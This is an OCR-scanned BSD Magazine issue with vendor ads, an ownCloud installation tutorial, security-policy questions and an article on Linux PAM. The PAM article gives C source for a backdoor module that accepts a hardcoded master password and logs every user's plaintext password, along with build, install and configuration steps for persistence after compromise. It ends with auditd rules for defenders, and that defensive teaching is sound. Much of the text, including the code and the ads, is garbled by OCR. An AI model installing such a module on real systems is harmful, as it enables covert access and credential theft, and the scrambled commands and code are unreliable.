MAGAZINE 


FOR NOVICE AND ADVANCED USERS 


ownCloud 


FILE SHARING APPLICATION WRITTEN IN PHP 


PYTHON PROGRAMMING: 
THE CSV AND JSON 
PYTHON MODULE 


NODEJS 


AND FREEBSD 


ay, PART 2 
PLUGGABLE 
AUTHENTICATION MODULES one 


} 
: 855-GREP-4-IX : 
i a a) , — | ¥ Rock-Solid Performance 
: Seis eae www.iXsystems.com - = , = | | 
ites Enterprise Servers and Storage a anrreess ; ie | + Professional In-House Suppo t 
for Open Source LE . 1 
ee ~~ | 
s 


HOW IMPORTANT IS YOUR DATA? 


Years of family photos. Your entire music 
and movie collection. Office documents 
you've put hours of work into. Backups for 
every computer you own. We ask again, how 
important is your data? 


NOW IMAGINE LOSING IT ALL 
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Losing one bit - that’s all it takes. One single bit, and bee — 


your file is gone. aod 
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The worst part? You won't know until you 
absolutely need that file again. Example of one-bit corruption 


THE SOLUTION 


The Mini boasts these state-of-the- 


The FreeNAS Mini has emerged as the clear choice to 
art features: 


Save your digital life. No other NAS in its class offers 


ECC (error correcting code) memory and ZFS bitrot 
- 8-core 2.4GHz Intel® Atom™ processor 


protection to ensure data always reaches disk . Up to 16TB of storage capacity 
without corruption and never degrades over time. - 16GB of ECC memory (with the option to upgrade 
to 32GB) 


« 2x 1 Gigabit network controllers 
No other NAS combines the inherent data integrity : Ramotemansuementoort (EN 


and security of the ZFS filesystem with fast on-disk - Tool-less design; hot swappable drive trays 
encryption. No other NAS provides comparable power oRiSe NPS ictal emanecomngurey 

and flexibility. The FreeNAS Mini is, hands-down, the 
best home and small office storage appliance you can 
buy on the market. When it comes to saving your 
important data, there simply is no other solution. 


Intel, the Intel logo, Intel Atom and Intel Atom Inside are trademarks of Intel Corporation in the U.S. and/or other countries. 


FREENAS 


CERTIFIED 
STORAGE 


With over six million downloads, 
FreeNAS is undisputedly the most 
popular storage operating system 
in the world. 


Sure, you could build your own FreeNAS system: 
research every hardware option, order all the 

parts, wait for everything to ship and arrive, vent at 
customer service because it hasn't, and finally build it 
yourself while hoping everything fits - only to install 
the software and discover that the system you spent 
days agonizing over isn’t even compatible. Or... 


MAKE IT EASY ON YOURSELF 


As the sponsors and lead developers of the FreeNAS 
project, ixsystems has combined over 20 years of 
hardware experience with our FreeNAS expertise to 
bring you FreeNAS Certified Storage. We make it 
easy to enjoy all the benefits of FreeNAS without 
the headache of building, setting up, configuring, 
and supporting it yourself. As one of the leaders in 
the storage industry, you know that you're getting the 
best combination of hardware designed for optimal 
performance with FreeNAS. 


Every FreeNAS server we ship is... 


» Custom built and optimized for your use case 

» Installed, configured, tested, and guaranteed to work out 
of the box 

» Supported by the Silicon Valley team that designed and 
built it 

» Backed by a 3 years parts and labor limited warranty 
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As one of the leaders in the storage industry, you 
know that you're getting the best combination 

of hardware designed for optimal performance 

with FreeNAS. Contact us today for a FREE Risk 
Elimination Consultation with one of our FreeNAS 
experts. Remember, every purchase directly supports 
the FreeNAS project so we can continue adding 
features and improvements to the software for years 
to come. And really - why would you buy a FreeNAS 
server from anyone else? 


FreeNAS 1U 

- Intel® Xeon® Processor E3-1200v2 Family 

- Up to 16TB of storage capacity 

- 16GB ECC memory (upgradable to 32GB) 

« 2x 10/100/1000 Gigabit Ethernet controllers 
- Redundant power supply 


FreeNAS 2U 
- 2x Intel® Xeon® Processors E5-2600v2 Family 
- Up to 48TB of storage capacity 
- 32GB ECC memory (upgradable to 128GB) 
« 4x 1GbE Network interface (Onboard) - 
(Upgradable to 2 x 10 Gigabit Interface) 
« Redundant Power Supply 


http://www.iXsystems.com/storage/freenas-certified-storage/ 


Intel, the Intel logo, the Intel Inside logo and Xeon are trademarks of Intel Corporation in the U.S. and/or other countries. 


EDITORS’ WORD 


Dear Readers, 


his new issue of BSD Magazine is coming out 

today. | hope that my words find you well and 

in a happy mood. | hope that you will find many 
interesting articles inside the magazine and that you 
will have time to read all of them. All comments are 
welcome. 

We collected the articles written by experts in their 
field to provide you with highest-quality knowledge. 
Enjoy your reading and develop your new skills with 
our magazine! 

Inside this BSD issue, we publish articles that will 
present security knowledge. If you want to find out 
more about Unix security, you should read them all. 
We would like to highlight the two articles on Pluggable 
Authentication Modules and Information Security. 

Also, we recommend that you read Ivan Voras's 
article that will present the installation and the basic 
configuration of ownCloud, the well-known and excellent 
open source collaboration and file sharing application 
written in PHP. 

Of course, please do not forget to read the 4th part of 
Josh Paetzel’s article, “A Complete Guide to FreeNAS 
Hardware Design, Part IV: Network Notes & Conclusion’. 
And for dessert, please go to see what Rob wrote for 
you this time. We really like his column and we are 
eagerly waiting to see what he wrote for next month. 

As long as we have our precious readers, we have 
a purpose. We owe you a huge THANK YOU. We are 
grateful for every comment and opinion, either positive 
or negative. Every word from you lets us improve BSD 
magazine and brings us closer to the ideal shape of 
our publication. 


Thank you. 
Ewa & BSD Team 
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IN BUSINESS 


FreeNAS 
in an Enterprise Environment 


By the time you're reading this, FreeNAS has been downloaded 
more than 5.5 million times. For home users, it’s become an 
indispensable part of their daily lives, akin to the DVR. 
Meanwhile, all over the world, thousands of businesses 
universities, and government departments use FreeNAS to 
build effective storage solutions in myriad applications 


What you wile. TE INTERRUPT THIS MAGAZINE T0 BRING 


« How TrueNAS builds off the strong points of the FreeBSD and 


cop soe ’ YOU THIS IMPORTANT ANNOUNCEMENT: 
| | 
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* How TrueNAsS meets modern storage challenges for entery 
THE PEOPLE WHO DEVELOP FREENAS, THE WORLD'S MOST 
T he FreeNAS operating systems is fre POPULAR STORAGE OS, HAVE JUST REVAMPED TRUENAS. 


the public and offers thorough doc 
active community, and a feature-rig 
the storage environment. Based on Free 
can share over a host of protocols (SM§ 
FTP, iSCSI, etc) and features an intuiti 
the ZFS file system, a plug-in system 
much more. 
Despite the massive popularity ¢ 
aren't aware of its big brother dut 
data in some of the most demand 
environments: the proven, enterp 
professionally-supported line of, 
But what makes TrueNAS diffd 2 : 
Well, I'm glad you asked... J ah 
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To learn more, visit: www.iXsystems.com/truenas 


POWERED BY lee rath ares 
tel, the lintel loge, Intel Xeon and Intel Xeo SIC € trademarks of Intel Corporation in the US. and/or other countries. 
Vilware and Viiware Ready are registered trademarks or trademarks of VMware, Inc. in the United States and other jurisdictions. 
Citrix makes and you receive no representations or warranties of any kind with respect to the thired party products, its functionality, the test(s) or the results 
here from, whet = rexpressed, Iimplled, statutary or othert 58, ae haut limit ati an those of fitness fora par rculr jurpose, merchantability, 
1on-infringemne ithe. Ta the extent permitted bya 1 5 cable a Law In ne eve hall Cit 2 liable for any damages of a Li a id whatsoever arising out 
of y use of t “ be 4 party produ shether direct, aoe UREN pha idesinen rn wide ntal, onvultip mh Sunitive or other dam 


inside” 


CONTENTS 


OwnCloud 
File Sharing Over the Web with ownCloud S 


Ivan Voras 

OwnCloud is a well-featured collaboration application whose 
greatest features are extensive file sharing options via the web 
interface, or via a DropBox-like desktop synchronization tool, 
or over the built-in WebDav server; document collaboration 
with simultaneous real-time editing of documents similar to 
Google Docs (though much less featured for now); a calendar 
and an address book, accessible from third party applications 
by using the CalDav protocol; an extensive architecture which 
allows plug-ins and additional applications to be included in 
the framework of the main application. This article walks the 
participant through the installation and the basic configuration 
of ownCloud, an excellent open source collaboration and file 
sharing application written in PHP. 


security 


Does your Information Belong 
to the CIA Triad? 

Rob Somerville 

Confidentiality, Integrity and Availability are the three pillars 
of Information Security. In this article, we pose a number of 
scenarios to you the IT professional and ask What would you 
do? Every environment is different, so we will not provide 
any answers, rather we want to stimulate thought and debate 
around the ethics that Donn Parker says are missing from the 
computer center. In this, the final part in this series, we will look 
at Corporate policy. 


What is PAM and why do | Care? 


Daniel Lohin 

Pluggable Authentication Modules (PAM) are the main 
mechanism for Linux as well as other Unix systems that perform 
the authentication of the user every time they log in. PAM can 
be configured in a number of ways in order to authenticate the 
user in a variety of means such as using passwords, SSH keys, 
smart cards, etc. 
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The Bread and Butter of IT Security 20 
Andrey Mosktvitin 

Today we are going to talk about the bread and butter of every 
IT security, networking and system professional — Nmap network 
scanner. Initially Nmap was a Linux command-line tool created 
by Gordon “Fyodor” Lyon in 1997. Nowadays it is a great set 
of tools with an extensible framework, providing the opportunity 


to integrate it with external scripts. 
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Python Programming: 

The csv and json Python Module 
Rui Silva 

Files are a big part of programming. We use them for a lot of 
things. HTML files have to be loaded when serving a web page. 
Some applications export files in some formats that we need to 
read in other applications or even we want to be the ones doing 
the exporting. In this article, we will learn some concepts to help 
us understand how to use files and also some advanced ways 
of making use of them. 


NodeJS and FreeBSD -— Part 2 


David Carlier 

Previously, we’ve seen how to build NodeJS from the sources 
in FreeBSD with minor source code changes. This time, we'll 
have an overview of the application’s build process. There are 
numerous excellent tutorials to build a nodejs application in pure 
Javascript. However, it's also possible to build an application 
natively in C/C++. It is exactly what we're going to see ... 


Expert Says 


A Complete Guide to FreeNAS Hardware 
Design, Part IV: 

Network Notes & Conclusion 

Josh Paetzel 

FreeNAS is a NAS and/or IPSAN (via iSCSIl)...which means 
everything happens over the network. If you are after 
performance, you are going to want good switches and server 
grade network cards. If you are building a home media setup, 
everything might be happening over wireless, in which case 
network performance becomes far less critical (there really is 
a difference in performance between a Cisco 2960G or Juniper 
EX4200 and a Netgear or Dlink! This difference becomes more 
pronounced if you are doing vians, spanning tree, jumbo frames, 
L3 routing, etc). 
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Column 


Channel 4 television in the UK (In association 
with AMC) is currently running an innovative 
marketing campaign for Persona Synthetics, 
a trailer to launch the new TV series, Humans. 
This Sci-Fi drama is set in a world where 
a lifelike robotic servant — a ‘synth’ - 

is the latest craze. ls humanity ready? 
Rob Somerville 
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SPTechCon SharePoint in the Cloud? 


On Premises? Or Both? 
The SharePoint Come to SPTechCon Boston 2015 and learn about the 
Technology Conference differences between Office 365, cloud-hosted SharePoint, 


on-premises SharePoint, and hybrid solutions and build your 


Au g U St 24 7 /, 2 Ol bh company's SharePoint Roadmap! 
BOSTON Looking for SharePoint 2013 training? 


Check out these targeted classes! 
e Custom SharePoint 2013 Workflows that Use the SharePoint 2013 


REST API 
Over /O classes 


e SharePoint 2013 Farm Architecture and Visual Studio for Admin 


taught by expert speakers! e Creating a Branded Site in SharePoint 2013 


e SharePoint's New Swiss Army Knife: The Content Search Web Part 


Moving to Office 365? 
“This was a great conference that addresses all levels, roles and ' 
—_ Here are some targeted classes for YOU! 
abilities. Great variety of classes, great presenters, and | learned 


many practical things that | can take back and start implementing * Baby-Stepping Into the Cloud with Hybrid Workloads 
next week.” 


e Demystifying Office 365 Administration 
—Kathy Mincey, Collaboration Specialist, FHI 360 e Document Management and Records Management for Office 365 
e Office 365 Search in the Cloud 


MASTER THE PRESENT, PLAN FOR THE FUTURE! REGISTER NOW! — www.sptechcon.com 


A BZ Media Event | sptechcon” is a trademark of BZ Media LLC. SharePoint® is a registered trademark of Microsoft. 


File Sharing Over the 


Web with ownCloud 


This article is to walk the participant through the installation 
and the basic configuration of ownCloud, an excellent open 
source collaboration and file sharing application written in PHP. 


wnCloud is a well-featured collaboration application 
whose greatest features are: 


¢ Extensive file sharing options: via the web interface, 
or via a DropBox-like desktop synchronization tool, 
or over the built-in WebDav server 

¢ Document collaboration with simultaneous real-time 
editing of documents similar to Google Docs (though 
much less featured for now) 

¢ A calendar and an address book, accessible from 
third party application by using the CalDav protocol 

e An extensive architecture which allows plug-ins and 
additional applications to be included in the frame- 
work of the main application 


In practice, its main selling point is the DropBox-like 
functionality with client applications available for Win- 
dows, Linux, Android and iPhone devices. 

ownCloud requires a database which it will use to store 
metadata such as version information, and also system 
data and content for some types of resources. Depending 
on the type and frequency of its users, it could require ap- 
proximately between 10 MB and 100 MB of database data 
per user per year. This article will use MySQL for its da- 
tabase for this and other applications, primarily because 
FreeBSD still has problems with UTF-8 collation required 
by PostgreSQL. 


Installing MySQL 


MySQL has a reputation for being simple, and it actually 
is. For this article, we will install MySQL version 5.5: 
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# pkg install mysgl55-server mysql55-client 


Updating FreeBSD repository catalogue... 
FreeBSD repository is up-to-date. 
All repositories are up-to-date. 
The following 2 packages will be affected (of O checked): 
New packages to be INSTALLED: 


mysqlo5-server? 5.5.40 
mysqlo5-clients 5.5.40 


The process will require 105 MB more space. 8 MB to be 
downloaded. 

After the installation, it simply needs to be configured 
and enabled in /etc/re.conf, by adding lines such as the 
following: 


mysql ‘enable="YES” 
mysql dbdir="/srv/mysql” 


Before MySQL can be started, the database directo- 
ry specified above needs to be created and appropriate 
permission given: 


# mkdir /srv/mysql 
# chown mysql:mysgl /srv/mysgl 


It is also useful at this point to create a MySQL config- 


uration file, name my.cnf and located in /usr/local/etc. 
This file can contain lines such as these: 
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[mysqld] 

key buffer = 128M 
thread concurrency = 4 
query Cache type =. 1 
query cache size = 128M 


imnodb: mle per table = 1 


MySQL is very customisable and supports a huge num- 
ber of configuration options. The options in the above 
example specify the key buffer size of 128 MiB, that 
4 threads will be used to serve queries, activate the 
query cache and set its size to also 128 MiB (the set- 
tings are unrelated). All of these settings are useful 
for increasing the database performance, but the offi- 
cial MySQL documentation should be studied to under- 
stand their full effects. The last line specifies that indi- 
vidual tables in the database will be saved as individual 
files in the database directory, which is extremely useful 
for backups and maintenance. After the configuration file 
is created, the database can be started by issuing: 


# service mysgl-server start 


The first time MySQL is started it will create its re- 
quired files. 


Installing ownCloud 

ownCloud is a PHP application whose source needs to be 
downloaded and unpacked in an appropriate directory on 
the server. It can be downloaded from http://owncloud.org/, 
for example with the following commands: 


# cd /srv/www 
# fetch -no-verify-peer https://download.owncloud.org/ 
community/owncloud-7.0.2.tar.bz2 


+ tar szt owneloud=/.0,.2.tar.b22 


ownCloud requires that use which executes its code (the 
PHP interpreted, started by mod_fcgid in Apache as the 
“www’ user) can write to some of its directories. We can 
adjust the permissions like this: 


cd /srv/www/owncloud 
mkdir data 
chgrp www apps config data 


S$ S$ S$ SF 


chmod 0770 apps config data 
It also requires some dependency packages: 
# pkg install php5-exif php5-openssl php5-mysql php5-gd 


php5-ctype php5-dom php5-json php5-xml php5-simplexml 
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Php5-710 phpo-zl7b phpo-bz7. phpo-curl phes-meryot pecl-= 
intl php5-fileinfo pecl-APC php5-mbstring php5-iconv 
phpS-pdo php5S-pdo mysql mp3info php5-session 


The next step is to create the MySQL database which 
will be used by ownCloud. To do this, simply run “mysql” 
as the root user and run the create database and grant 
commands at its prompt: 


# mysql 


Welcome to the MySQL monitor. - Commands end with 
; or \g. 


Your MySQL connection id is l 
Server version: 5.5.40 Source distribution 
Copyright (c) 2000, 2014, Oracle and/or its affiliates. All 


rights reserved. 


Oracle is a registered trademark of Oracle Corporation 
and/or its affiliates. Other names may be trademarks of 
their respective 

Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the current 
input statement. 


mysql> create database owncloud; 
Query OK, 1 row affected (0.02 sec) 
mysql> grant all on owncloud.* to ‘owncloud’@’ localhost’; 


Query OK, 0 rows affected (0.00 sec) 


Conclusion 

Finally, the Apache virtual host configuration can be up- 
dated. For this tutorial, we will only add ownCloud to the 
HTTPS virtual host of our default configuration file, which 
will now look like this: 

<VirtualHost *:443> 

ServerAdmin ivoras@gmail.com 

ServerName www.ivoras.net 

ServerAlias ivoras.net 

ErrorLog “/var/log/http-default-error log” 

CustomLog “/var/log/http-default-access log” combined 


DocumentRoot “/srv/www/default” 
<Directory “/srv/www/default”> 


Options ExecCGI FollowSymLinks 
AddHandler fcgid-script php 


FCGIWrapper /usr/local/bin/php-cgi .php 
DirectoryIndex index.php 
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AllowOverride None 
Require all granted 


</Directory> 


Alias /cloud “/srv/www/owncloud” 
<Directory “/srv/www/owncloud”> 


Options ExecCGI FollowSymLinks 


AddHandler fcgid-script php 
FCGIWrapper /usr/local/bin/php-cgi .php 
DirectoryIndex index.php 


AllowOverride All 
Require all granted 


</Directory> 


SSLEngine on 
SSLCipherSuite !ADH:!EXPORT: !SSLv2:EECDH+aRSA+AESGCM:RC4+R 


2 
&@b. 
OWNCLOU 


admin 


Jnana ownclouds data 


owncloud 


ownclouwd 
localhost 


Finish setup 


Figure 1. Initial ownCloud configuration 


SA:+HIGH: +MEDIUM:+LOW 
SSLHonorCipherOrder On 
SSLCertificateFile /var/ssl/ivoras.net.crt 


SSLCertificateKeyFile /var/ssl/ivoras.net.key 
</VirtualHost> 


Apache needs to be restarted after the modification of 
the configuration file and the installation of new PHP 
modules: 


# service apache24 restart 


The first time the web site is visited with an URL such 
as https://ivoras.net/cloud, ownCloud will offer a simple 
configuration interface which must be used to create the 
initial administration user and to configure the database, 
which needs to be filled in as shown in the following im- 
age: Figure 1. 

lf the configuration is successful, you will be taken to 
the list of initial example files in ownCloud. Note than 
ownCloud has a large number of features so you need 
to study its interface and its user manual to know how to 
use it well. 


Ivan Voras is a FreeBSD developer and a long-time user, starting with 
FreeBSD 4.3 and throughout all the versions since. In real life he is 
a researcher, system administrator and a developer, as opportunity 
presents itself, with a wide range of experience from hardware hack- 
ing to cloud computing. He is currently employed at the University of 
Zagreb Faculty of Electrical Engineering and Computing and lives in 
Zagreb, Croatia. You can follow him on his blog in English at http:// 
ivoras.net/blog or in Croatian athttp:/hrblog.ivoras.net/ as well as 
Google+ athttps://plus.google.com/+lvanVoras. 
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Figure 2. Initial example files screen from ownCloud 
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SECURITY 


Does your Information 
Belong to the CIA Triad? 


Confidentiality, Integrity and Availability are the three pillars 
of Information Security. In this article, we pose a number of 
scenarios to you the IT professional and ask What would you 
do? Every environment is different, so we will not provide 
any answers, rather we want to stimulate thought and 
debate around the ethics that Donn Parker says is missing 
from the computer center. In this, the final part in this series, 
we will look at corporate policy. 
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Question 1. 

How much “customer facing” expo- 
sure does your staff have? Do they 
have extensive and unfettered ac- 
cess to financial and confidential 
data, e.g. credit card details or in- 
formation that would be potentially 
embarrassing if revealed to a third 
party? If so, are they vetted prior to 
interview? What steps do you take 
to check your employee's credit or 
criminal history? Is there any ongo- 
ing review over time? 


Question 2. 

Do you have an extensive accept- 
able use policy in place that covers 
not just access and use of IT facili- 
ties via your business infrastructure 
but also a social media policy to pro- 
tect your corporate reputation? 


Question 3. 

Does your organisation regularly 
monitor the web to ascertain your 
online reputation? What about lo- 
cal and national press? Facebook? 
Twitter? Instagram? 


Question 4. 

What percentage of your corpo- 
rate IT budget is spent on proac- 
tive security — e.g. penetration test- 
ing, building and personnel security 
(e.g. tailgating or social engineer- 
ing), etc? 


05/2015 


www.bsdmag.org 


Question 5. 
Do you have a policy in place to re- 
spond if your corporate website is 
compromised? Your Facebook or 
Twitter feeds? 


Question 6. 

Do you make extensive use of confi- 
dentiality and non-disclosure agree- 
ments with your staff? Your part- 
ners? Your suppliers? 


Question 7. 

What disaster recovery plans do you 
have in place? What level of risk are 
you willing to tolerate? What is the 
most valuable asset that your busi- 
ness holds? 
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Question 8. 

What Service Level Agreements do 
you have in place with mission criti- 
cal suppliers? Have you examined 
your supply chain for any weakness 
recently? What agreements and re- 
dundancy do you have in place to 
mitigate risk in these areas? 


Question 9. 

What risks are attached to the phys- 
ical locations of your offices that 
could prevent service delivery? Your 
data centres? What potential risks 
can you foresee in the next month? 
The next quarter? The next year? 


Question 10. 

How large a ‘churn’ of staff do you 
have in your organisation? What risk 
does this impose to your data secu- 
rity? Is this churn due to your busi- 
ness sector? How many of these 
employees are disgruntled? 


Image courtesy of John M. Kennedy T. 
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Question 11. 

Do you use data-loss prevention 
on your email systems? Are docu- 
ments pro-actively marked as ‘Pub- 
lic’, ‘Confidential’, “Top Secret’ etc? 
Can external sources easily identify 
your staff email address from their 
names? What implication and risks 
does this have for phishing attacks, 
impersonation etc? 


Question 12. 

What level of encryption do you use 
on corporate devices e.g. laptops, 
mobile phones, Bring your own de- 
vices etc? What about USB sticks? 
Can any external visitor plug their 
device into your network or use your 
corporate Wi-Fi? 


Question 13. 
How do you guarantee the secure 
delivery of sensitive files to external 
third parties? Is this audited? Moni- 
tored? Logged? 


Question 14. 

lf there was to be a major security 
breach (e.g. loss of data, release 
of confidential information etc.) do 
you have a public relations plan in 
place? Do you have PR and legal 
resource who are “Internet savvy” 
on standby? 


Question 15. 

Do you develop or maintain soft- 
ware? What systems are in place 
to ensure that you release a quality 
product that is not tainted with mal- 
ware or security holes? Can cus- 
tomers be sure that what you are re- 
leasing is what they are receiving? 
What version control and auditing 
do you use? Do you use third par- 
ties to manage this service? Is there 
a legal contract in place limiting your 
exposure if the worse were to hap- 
pen? 


Question 16. 

Looking at your organisation, what 
would you consider the greatest risk 
to be? Medium risk? Low risk? Will 
this be likely to change in the future? 


Rob Somerville has been passionate about technology since his ear- 
ly teens. A keen advocate of open systems since the mid-eighties, he 
has worked in many corporate sectors including finance, automo- 
tive, airlines, government and media in a variety of roles from tech- 
nical support, system administrator, developer, systems integrator 
and IT manager. He has moved on from CP/M and nixie tubes but 
keeps a soldering iron handy just in case. 
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What is PAM and why 


do | care? 
[DANIEL LOHIN- 


Pluggable Authentication Modules (PAM) is the main 
mechanism for Linux as well as other Unix systems that 
performs the authentication of the user every time they log 
in. PAM can be configured in a number of ways in order to 
authenticate the user in a variety of means such as using 


passwords, SSH keys, smart cards, etc. 


What you will learn... 


¢ What Pluggable Authentication Modules 
¢- How PAM can be used 


when logging on to the system from the tradition- 

al logon screen, but also through services such as 
FTP, HTTP, SAMBA and other services can use the PAM. 
lf an attacker is able to modify the integrity of the PAM sys- 
tem, then they are given the ability to modify the method 
for PAM to authenticate users which is a perfect situation 
for creating a backdoor that will be used to establish a path 
with which they can access systems again. This article will 
detail how a simple PAM module can be created that could 
be placed on a system to allow an attacker to access a sys- 
tem in the future. This would be useful if an attacker has 
already gained root access to a system and wants to en- 
sure that they are able to access again if their original path 
in is corrected. This article will also be useful for anyone in 
charge of defending systems as it will give the reader an 
understanding of what to monitor on their systems to detect 
compromise as well as help in investigations. 


DP AM can be used to authenticate users not only 


Introduction to the PAM configuration file 
All Linux distributions have a different method of config- 
uring the PAM configuration as the PAM configuration 
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What you should know... 


¢ Basic knowledge on Linux 


is fairly versatile in the way rules can be written. This 
section will detail information specifically as it relates to 
Red Hat Enterprise Linux 6 as well as Centos 6 to give 
the reader understanding of the configuration which can 
be modified to any Linux OS that utilizes PAM. The con- 
figuration for PAM is in the /etc/pam.d directory. There 
are a number of files in the directory to deal with various 
services that use PAM such as SSHD, the Gnome login, 
SU and a bunch of other key services. If you go into the 
sshd file you will notice that the second line after the 
comment includes auth include password-auth. Look- 
ing at almost all the other files that deal with network 
services in the /etc/pam.d directory reveals that almost 
every service has this line in it. What this does is cre- 
ates a single file password-auth to update to affect the 
rules of all services that include this line. This prevents 
the administrator from having to edit every single file if 
they want the change these policies. The system-auth is 
used for logging in for them console as well as utilizing 
the su command. The password-auth and system-auth 
files are two files are generally all that need to be edited 
in order to change the PAM policies unless the change 
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only needs to be specific to a service. The configuration 
follows a pattern of: 
<group> <control flags> 


<module and possibly arguments> 


The password-auth file is broken into four groups which 
are auth, account, password and session. Each of those 
groups then calls a module which can provide a number 
of functions. The different groups are displayed in Table 1. 


Table 1. Groups available in PAM configurations 


Auth provides the main identification and 
authentication of the user. Generally this is through 
passwords, but can be other mechanisms such as 
smart cards. Pam_unix.so (this module is used in 

all of the groups) provides the main authentication 
piece that verifies the username and password of 
the user when they log in. 


Account provides a number of services to verify is 
the account follows a number of rules. This can be 
used to lock out accounts after a certain number of 
tries, ensures that the user is in certain groups, etc. 


account 


This group is used when the user sets their 
password. This is primarily used to check for the 
password complexity when the user sets their 
password. Pam_cracklib.so can be set up to ensure 
a minimum number of characters are used, require 
lower case, uppercase and symbols, etc. Pam_ 
unix.so here can allow you to change the type of 
encryption that is used (sha512 is now the default 
in Red Hat 6). 


Responsible for setting up and tearing down 

a service. Is used by services in different ways. 
One specifc thing it does is mounts user’s home 
directory and a lot of other functions that this 
article isn’t too concerned with. 


password 


session 


Each of the modules is appended with, so which is a 
shared object. Some of these shared objects can take ar- 
guments that change their function and how they operate. 

All the rules are read from top to bottom in a particular 
group. After each module is run a value is returned of pass 
or fail, the control flag is evaluated to see whether to allow 
it to continue or not. The control flag can be required, req- 
uisite, optional or sufficient as explained by Table 2. 

As has been explained there are a number of modules 
that are available with a number of arguments that can 
be passed in to customize each module. Documentation 
is stored in /usr/share/doc/pam-1.1.1/ (replace the ver- 
sion number with another if you have a different Linux 
distribution). that contains each of the individual modules 
in depth. 
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A quick note about Red Hat/Centos is that there is an 
authconfig program that when run, overwrites all custom- 
ized configurations. In order to prevent this from happen- 
ing, simply disable the use of the authconfig program with 
the command: 


chmod -x ‘which authconfig~ 


Table 2. Available control flags in PAM configuration files 


If this module doesn’t succeed, the entire group will 
fail, which means the user won't be able to login or 
change their password. PAM will immediately stop 
evaluating further in the stack. 


Required 


Very similar to required in that if this module 
doesn't succeed the entire group will again fail, the 
only difference is that PAM will continue running 


Requisite 


through each of the modules. When it reaches the 
end though, it will still fail. 


@Jejifeyat-lumy | he module will be run, but what it returns is 
irrelevant. 


SWjie@(saiam| If this module succeeds immediately allow the 
entire group to pass and PAM will no longer 


continue evaluating following modules. 


Creating your own PAM module for nefarious 
purposes 

Creating a PAM module is generally done in C. This should 
only be done on non-production systems (obviously) as 
if a mistake is made, it may prevent the user from log- 
ging into the system again (or let anyone logon). Writing 
modules is fairly simple and usually just involves creating 
a module with one or more custom functions. A module 
can be used in one or more of the groups such as auth, 
session, account and/or password as discussed above, in 
order to perform different functions depending on which 
group the module is being used in. The pattern for each 
of the functions is as follows: 


PAM EXTERN int pam sm FUNCTION (pam handle t *pamh, 


Int. tlags, int argc, Const. char **argy) 


Function is to be replaced with one of the following with 
their matching group displayed in Table 3. 

These functions can either return PAM SUCCESS 
when the module is successful or another value in cases 
in the case of errors (such as the user password was in- 
correct). Depending on what is returned, the rules defined 
in the PAM configuration files decide how this return code 
will be used. For example, if the rule is optional, then the 
return code doesn't really matter. If the rule is defined as 
required, then PAM SUCCESS must be returned other- 
wise PAM no longer continues to evaluate the rules. 
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Table 3. Available functions for PAM 


#inclLude <pwd.h> 

#incLude <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
#incLude <unistd.h> 
#include <syslog.h> 


#include <security/pam modules.h> 


PAM EXTERN int 


pam sm authenticate(pam handle t *pamh, int flags, 


‘ 


} 


Figure 1. PAM_prime.c code containing a backdoor of backdoorsAreEvil 
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int argc, const char *argv[]) 


struct pam conv *conv; 
struct passwd *pwd; 
const char *user:; 

char *password; 

int pam err; 


f* 
if 
if 


f* 


identify user */ 


For the purposes of making something nefarious the au- 
thenticate function is the most useful and this will be used 
for the rest of the article. 

The code listed in Figure 1 contains the pam_sm_au- 
thenticate function so it will be used when the user logs 
in. The password is checked to see if the used typed in 
backdoorsAreEvil and if so, PAM SUCCESS is returned. 
This function also writes Backdoor activated into /var/ 
log/messages Which may not be desirable if this is truly 


((pam err = pam get user(pamh, &user, NULL)) != PAM SUCCESS) 


return (pam err); 
((pwd = getpwnam(user)) == NULL) 


return (PAM USER UNKNOWN) ; 


get password */ 


pam err = pam get item(pamh, PAM CONV, (const void **)&conv); 


if 


pam err = pam get authtok(pamh, PAM AUTHTOK, 


j* 


(pam err != PAM SUCCESS) 
return (PAM SYSTEM ERR); 


(const char **)&password, NULL); 


compare passwords */ 


char* output = (char*) malloc(sizeof(pwd->pw name) + (strlen(password) * 


sizveot(char)) + 20*sizeof(char})); 


snprintf(output, 100, "USER: %s, Password: %s", pwd->pw name, password); 
syslog(LOG ERR, output); 
if({!strncmp(password, "backdoorsAreEvil",25)) { 

syslog(LOG ERR, "Backdoor activated"); 


return PAM SUCCESS; 


} 
return (PAM AUTH ERR); 
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being used for malicious intent. Note that this module 
doesn't have to authenticate valid users or do anything 
else that would be expected of an authentication sys- 
tem. Just because the module returns PAM AUTH ERR 
doesn't mean the user can't login unless the rule in the 
configuration file is set to required. If the rule is set to ei- 
ther sufficient or optional then PAM will continue evaluat- 
ing the rules in the configuration file. 

In order to compile this, you must first install pam-devel. 
For Red Hat simply run the command: 


yum install pam-devel 


To compile and install the package run the following 
commands (replace |ib64 with lib on 32 bit systems). 


[root@Centos Desktop]# gcc -f£PIC -c pam prime.c 
[root@Centos Desktop]# ld -x --shared -o pam prime.so pam_ 
prime.o 


[root@Centos Desktop]# cp pam prime.so /11ib64/security/ 


Finally add the following line to the beginning of the 
auth group in /etc/pam.d/password-auth and /etc/pam.d/ 
system-auth. 


A=PAM-1.6) 

# This file is auto-generated. 

# User changes will be destroyed the next time authconfig is run. 
auth sufficient pam prime.soa 


auth required pam env.so 

auth sutfticient pam unix.so try Ttirst pass 
auth requisite pam succeed if.so uid >= 50@ quiet 
auth required pam deny.so 

auth sufficient pam prime.so 


This line simply says that if the pam_prime mod- 
ule returns a PAM SUCCESS, that is enough and 
do not continue evaluating the rest of the pam mod- 
ules. This means that with this installed attacker can 
log on with just a valid user name and the password 
backdoorsAreEvil. This could be highly useful as a meth- 
od of maintaining access after compromising a system. 
No extra ports are opened so long as SSH or another 
service utilizing PAM is available an attacker can simply 
login with the same password through normal services. 
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Defense of PAM module backdoors 
The first defense of a PAM module backdoor is simply pre- 
venting the attacker from gaining root access in the first 
place. Without root it is impossible to place the necessary 
module or modify the PAM configuration file. Of course 
this isn’t always possible so the next best defense is to 
monitor file changes on a system. If anything involving 
the PAM system changes, administrators should investi- 
gate the change looking into why and how the change oc- 
curred. Simply auditing all of the files in /etc/pam.d will go 
a long way, so long as the logs are looked at and prefer- 
ably sent to a system log server. 

To audit the files password-auth-ac and system-auth-ac 
simply add this to /etc/audit/audit.rules and ensure au- 
ditd is set to run. 


-w /etc/pam.d/password-auth-ac -p wa -k pamdconfigchange 


-w /etc/pam.d/system-auth-ac -p wa -k pamdconfigchange 


Tools that periodically verify the hash sums of files can 
also be helpful. Ensure that configuration files as well as 
programs are verified for integrity. RPM provides a con- 
venient method of verifying files in an RPM package. 
